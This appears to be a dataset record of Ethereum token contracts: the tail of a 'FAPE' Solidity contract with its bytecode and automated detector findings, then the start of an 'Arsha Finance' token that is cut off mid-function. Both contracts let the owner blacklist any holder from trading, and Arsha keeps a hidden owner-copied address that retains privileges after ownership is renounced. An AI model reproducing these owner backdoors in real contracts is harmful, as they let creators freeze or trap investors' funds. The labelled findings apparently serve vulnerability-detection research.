string private constant _symbol = "FAPE";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.mul(5).div(12);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f1578063cf0848f714610406578063cf9d4afa14610426578063dd62ed3e14610446578063e6ec64ec1461048c578063f2fde38b146104ac57600080fd5b8063715018a6146103275780638da5cb5b1461033c57806390d49b9d1461036457806395d89b4114610384578063a9059cbb146103b1578063b515566a146103d157600080fd5b806331c2d8471161010857806331c2d847146102405780633bbac57914610260578063437823ec14610299578063476343ee146102b95780635342acb4146102ce57806370a082311461030757600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b757806318160ddd146101e757806323b872dd1461020c578063313ce5671461022c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cc565b005b34801561017e57600080fd5b5060408051808201909152600a8152694675747572652041504560b01b60208201525b6040516101ae91906118c2565b60405180910390f35b3480156101c357600080fd5b506101d76101d236600461193c565b610518565b60405190151581526020016101ae565b3480156101f357600080fd5b50670de0b6b3a76400005b6040519081526020016101ae565b34801561021857600080fd5b506101d7610227366004611968565b61052f565b34801561023857600080fd5b5060096101fe565b34801561024c57600080fd5b5061017061025b3660046119bf565b610598565b34801561026c57600080fd5b506101d761027b366004611a84565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a557600080fd5b506101706102b4366004611a84565b61062e565b3480156102c557600080fd5b5061017061067c565b3480156102da57600080fd5b506101d76102e9366004611a84565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031357600080fd5b506101fe610322366004611a84565b6106b6565b34801561033357600080fd5b506101706106d8565b34801561034857600080fd5b506000546040516001600160a01b0390911681526020016101ae565b34801561037057600080fd5b5061017061037f366004611a84565b61070e565b34801561039057600080fd5b506040805180820190915260048152634641504560e01b60208201526101a1565b3480156103bd57600080fd5b506101d76103cc36600461193c565b610788565b3480156103dd57600080fd5b506101706103ec3660046119bf565b610795565b3480156103fd57600080fd5b506101706108ae565b34801561041257600080fd5b50610170610421366004611a84565b610965565b34801561043257600080fd5b50610170610441366004611a84565b6109b0565b34801561045257600080fd5b506101fe610461366004611aa1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049857600080fd5b506101706104a7366004611ada565b610c0b565b3480156104b857600080fd5b506101706104c7366004611a84565b610c81565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104f690611af3565b60405180910390fd5b600061050a306106b6565b905061051581610d19565b50565b6000610525338484610e93565b5060015b92915050565b600061053c848484610fb7565b61058e843361058985604051806060016040528060288152602001611c6e602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061137b565b610e93565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016104f690611af3565b60005b815181101561062a576000600560008484815181106105e6576105e6611b28565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062281611b54565b9150506105c5565b5050565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016104f690611af3565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062a573d6000803e3d6000fd5b6001600160a01b038116600090815260016020526040812054610529906113b5565b6000546001600160a01b031633146107025760405162461bcd60e51b81526004016104f690611af3565b61070c6000611439565b565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016104f690611af3565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610525338484610fb7565b6000546001600160a01b031633146107bf5760405162461bcd60e51b81526004016104f690611af3565b60005b815181101561062a57600c5482516001600160a01b03909116908390839081106107ee576107ee611b28565b60200260200101516001600160a01b03161415801561083f5750600b5482516001600160a01b039091169083908390811061082b5761082b611b28565b60200260200101516001600160a01b031614155b1561089c5760016005600084848151811061085c5761085c611b28565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a681611b54565b9150506107c2565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016104f690611af3565b600c54600160a01b900460ff1661093c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f6565b600c805460ff60b81b1916600160b81b17905542600d819055610960906078611b6f565b600e55565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016104f690611af3565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016104f690611af3565b600c54600160a01b900460ff1615610a425760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611b87565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2e9190611b87565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611b87565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c355760405162461bcd60e51b81526004016104f690611af3565b600f811115610c7c5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f6565b600855565b6000546001600160a01b03163314610cab5760405162461bcd60e51b81526004016104f690611af3565b6001600160a01b038116610d105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f6565b61051581611439565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6157610d61611b28565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611b87565b81600181518110610df157610df1611b28565b6001600160a01b039283166020918202929092010152600b54610e179130911684610e93565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e50908590600090869030904290600401611ba4565b600060405180830381600087803b158015610e6a57600080fd5b505af1158015610e7e573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f6565b6001600160a01b038216610f565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f6565b6001600160a01b03821661107d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f6565b600081116110df5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f6565b6001600160a01b03831660009081526005602052604090205460ff161561110557600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561114757506001600160a01b03831660009081526004602052604090205460ff16155b801561115d5750600c54600160a81b900460ff16155b801561118d5750600c546001600160a01b038581169116148061118d5750600c546001600160a01b038481169116145b1561136957600c54600160b81b900460ff166111eb5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f6565b50600c546001906001600160a01b03858116911614801561121a5750600b546001600160a01b03848116911614155b8015611227575042600e54115b1561126e576000611237846106b6565b90506112576064611251670de0b6b3a76400006002611489565b90611508565b611261848361154a565b111561126c57600080fd5b505b600d5442141561129c576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112a7306106b6565b600c54909150600160b01b900460ff161580156112d25750600c546001600160a01b03868116911614155b1561136757801561136757600c546113069060649061125190600f90611300906001600160a01b03166106b6565b90611489565b81111561133357600c546113309060649061125190600f90611300906001600160a01b03166106b6565b90505b6000611345600c611251846005611489565b90506113518183611c15565b915061135c816115a9565b61136582610d19565b505b505b611375848484846115d9565b50505050565b6000818484111561139f5760405162461bcd60e51b81526004016104f691906118c2565b5060006113ac8486611c15565b95945050505050565b600060065482111561141c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f6565b60006114266116dc565b90506114328382611508565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261149857506000610529565b60006114a48385611c2c565b9050826114b18583611c4b565b146114325760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f6565b600061143283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ff565b6000806115578385611b6f565b9050838110156114325760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f6565b600c805460ff60b01b1916600160b01b1790556115c93061dead83610fb7565b50600c805460ff60b01b19169055565b80806115e7576115e761172d565b6000806000806115f687611749565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116239085611790565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611652908461154a565b6001600160a01b038916600090815260016020526040902055611674816117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116b991815260200190565b60405180910390a350505050806116d5576116d5600954600855565b5050505050565b60008060006116e961181c565b90925090506116f88282611508565b9250505090565b600081836117205760405162461bcd60e51b81526004016104f691906118c2565b5060006113ac8486611c4b565b60006008541161173c57600080fd5b6008805460095560009055565b60008060008060008061175e8760085461185c565b91509150600061176c6116dc565b905060008061177c8a8585611889565b909b909a5094985092965092945050505050565b600061143283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137b565b60006117dc6116dc565b905060006117ea8383611489565b30600090815260016020526040902054909150611807908261154a565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118378282611508565b82101561185357505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061186f60646112518787611489565b9050600061187d8683611790565b96919550909350505050565b600080806118978685611489565b905060006118a58686611489565b905060006118b38383611790565b92989297509195505050505050565b600060208083528351808285015260005b818110156118ef578581018301518582016040015282016118d3565b81811115611901576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051557600080fd5b803561193781611917565b919050565b6000806040838503121561194f57600080fd5b823561195a81611917565b946020939093013593505050565b60008060006060848603121561197d57600080fd5b833561198881611917565b9250602084013561199881611917565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119d257600080fd5b823567ffffffffffffffff808211156119ea57600080fd5b818501915085601f8301126119fe57600080fd5b813581811115611a1057611a106119a9565b8060051b604051601f19603f83011681018181108582111715611a3557611a356119a9565b604052918252848201925083810185019188831115611a5357600080fd5b938501935b82851015611a7857611a698561192c565b84529385019392850192611a58565b98975050505050505050565b600060208284031215611a9657600080fd5b813561143281611917565b60008060408385031215611ab457600080fd5b8235611abf81611917565b91506020830135611acf81611917565b809150509250929050565b600060208284031215611aec57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b6857611b68611b3e565b5060010190565b60008219821115611b8257611b82611b3e565b500190565b600060208284031215611b9957600080fd5b815161143281611917565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf45784516001600160a01b031683529383019391830191600101611bcf565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c2757611c27611b3e565b500390565b6000816000190483118215151615611c4657611c46611b3e565b500290565b600082611c6857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d45d95cc41f6f22fa7962800151f7c5afe08bf9760b5ecee938eab34b4cb87d664736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,076 |
0x1c6b9776322e6a488b9e5d30b89540b993753a9c
|
/**
*Submitted for verification at Etherscan.io on 2022-01-19
*/
/*
The 'Arsha Finance' team presents its new token. THE next token!
Our team has created the $Arsha token in order to reward diamond hand holders. To do, we have created a token with low taxes (14% in total) as well as an anti-whales system to avoid too big a gap. All holders will be rewarded thanks to our ingenious reflection system: for each transaction, 2% will be given back to the holders.
$Arsha will be launched on the ERC-20 network when our community is big enough for everyone to be happy at the launch 😊
The Arsha team will of course continue to work hard after the launch to create our NFT project. The goal of Arsha is to build a solid and united community! Arsha is a community project and every proposal for improvement is taken into consideration.
It is thanks to you that Arsha will be listed on Coinmarketcap, Coingecko and more...
Join the community and make $ARSHA the NEXT TOKEN!
Website: https://arsha.finance/
WhitePaper: https://arsha.finance/wp-content/uploads/arsha-whitepaper.pdf
Telegram: https://t.me/arshafinances
Twitter: https://twitter.com/arshafinances
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ArshaFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Arsha Finance";
string private constant _symbol = "$ARSHA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _totalSupply = 15000000 * 10**9;
uint256 private _reflectionTotal = (MAX - (MAX % _totalSupply));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _reflectionFeeOnBuy = 3; //2% Reflection + 1% Auto Liq
uint256 private _taxFeeOnBuy = 4; //3% marketing + 1% dev
//Sell Fee
uint256 private _reflectionFeeOnSell = 3; //2% Reflection + 1% Auto Liq
uint256 private _taxFeeOnSell = 4; //3% marketing + 1% dev
//Original Fee
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x656156e46a22A422f2A7216293E897A79E2fc8D4);
address payable private _devAddress = payable(0xC43c764e8c0869DD4873DaE3aa3DF9238434bdcA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address private so;
bool private inSwap = false;
uint256 public _maxTxAmount = 450000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event ExcludeFromFee(address excludedAddress);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _reflectionTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
so = owner();
_isExcludedFromFee[so] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _reflectionTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousDistroFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && to != so && from != so) {
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(8));
_devAddress.transfer(amount.div(9).mul(1));
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
